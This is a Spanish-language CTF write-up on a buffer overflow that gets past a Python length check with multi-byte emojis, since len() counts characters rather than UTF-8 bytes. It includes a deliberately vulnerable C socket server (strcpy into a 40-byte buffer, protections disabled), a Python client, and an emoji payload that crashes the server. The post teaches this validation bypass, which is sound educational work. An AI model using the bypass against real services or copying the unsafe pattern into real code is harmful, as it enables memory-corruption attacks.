Buffer Overflow con emojis?
July 15, 20254 minutes

El pasado fin de semana me encontré en un CTF (l3ack ctf 2025) un simple ret2win, o eso parecía, en el código había un gets que guardaba un input en un buffer de 272 caracteres y también había una función win que ejecutaba /bin/sh, pero había un problema… En el servidor no se ejecutaba directamente el binario, antes pasaba por un script de python que contenía lo siguiente:
BINARY = "./chall"
MAX_LEN = 0xff
# Get input from user
payload = input(f"Enter your input (max {MAX_LEN} bytes): ")
if len(payload) > MAX_LEN:
print("[-] Input too long!")
sys.exit(1)
El script de python validaba si el input era más pequeño que 255, en el caso contrario no mandaba el input al binario y cerraba la conexión. Si el buffer que había que desbordar era de 272, pero solo deja poner 255 parece imposible llegar a hacer el ret2win.
En python len() no solo calcula caracteres imprimibles, sino que calcula cualquier byte
>>> len(b'\x00Hola')
5
>>> len(b'\x01Hola')
5
>>> len(b'\x02Hola')
5
El truco está en como interpreta len los emojis, si los emojis, un emoji no deja de guardarse como un conjunto de bytes
[d3bo@archlinux emoji]$ echo -n "😁" | xxd
00000000: f09f 9881
De lo contrario, los caracteres como por ejemplo letra ‘A’, se almacena como \x41 en hexadecimal ocupando 1 solo byte.
[d3bo@archlinux emoji]$ echo -n "A" | xxd
00000000: 41
La función len de python devuelve que la variable letra tiene 1 carácter cosa que es correcto
>>> letra = "A"
>>> len(letra)
1
>>> int(len(letra.encode("utf-8").hex())/2)
1
Con el emoji devuelve que hay también un carácter cosa que es correcto porque hay un solo emoji, lo que pasa es que el input no ocupa 1 byte ocupa más, ya que los emojis se representan con 4 bytes o más…
>>> emoji = "😁"
>>> len(emoji)
1
>>> int(len(emoji.encode("utf-8").hex())/2)
4
>>>
Esto aparentemente no supone un problema para python, pero al pasarlo a un programa C, la validación hecha en python no sirve, ya que si en el input se ponen muchos emojis, lo que se le pase después al binario va a ocupar más de 255 caracteres haciendo un “bypass” de la “validación” del programa intermediario hecho en python.
Esto se puede poner a prueba mediante los siguientes dos programas:
El primero es un programa que escucha conexiones en el puerto 12345 y tiene un buffer definido de 40 bytes, Dentro de handle_client se copia directamente lo que recibe del cliente al buffer de 40 bytes, mediante la función strcpy, la cual es vulnerable, ya que no válida el tamaño. En el segundo script, el de python, se espera un input de usuario el cual válida que no sea más grande de 38 bytes para evitar que en el programa en c se desborde el buffer de 40 bytes, con lo explicado anteriormente se puede hacer un buffer overflow usando emojis.
// gcc main.c -o main -fno-stack-protector -no-pie -z execstack -Wno-implicit-function-declaration
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#define PORT 12345
#define BUFFER_SIZE 40
void handle_client(int client_socket) {
char buffer[BUFFER_SIZE];
char recvbuf[1024];
int bytes_received = recv(client_socket, recvbuf, sizeof(recvbuf) - 1, 0);
if (bytes_received < 0) {
perror("recv");
return;
}
recvbuf[bytes_received] = '\0';
strcpy(buffer, recvbuf);
close(client_socket);
return;
}
int main() {
int server_fd, client_fd;
struct sockaddr_in server_addr = {0}, client_addr;
socklen_t addr_len = sizeof(client_addr);
server_fd = socket(AF_INET, SOCK_STREAM, 0);
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr.s_addr = INADDR_ANY;
bind(server_fd, (struct sockaddr*)&server_addr, sizeof(server_addr));
listen(server_fd, 1);
printf("🖥️ Servidor esperando conexión en puerto %d...\n", PORT);
while ((client_fd = accept(server_fd, (struct sockaddr*)&client_addr, &addr_len)) >= 0) {
printf("🔗 Cliente conectado\n");
handle_client(client_fd);
}
close(server_fd);
return 0;
}
# python3 client.py
import socket
HOST = '127.0.0.1'
PORT = 12345
def main():
payload = input("[+] Input para el servidor: ")
if len(payload) > 38:
print("[!] Demasiado largo")
exit(1)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall(payload.encode('utf-8'))
print("[*] Payload enviado")
if __name__ == "__main__":
main()
python3 client.py
[+] Input para el servidor: 😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈😈
[*] Payload enviado
./main
🖥️ Servidor esperando conexión en puerto 12345...
🔗 Cliente conectado
Segmentation fault (core dumped) ./main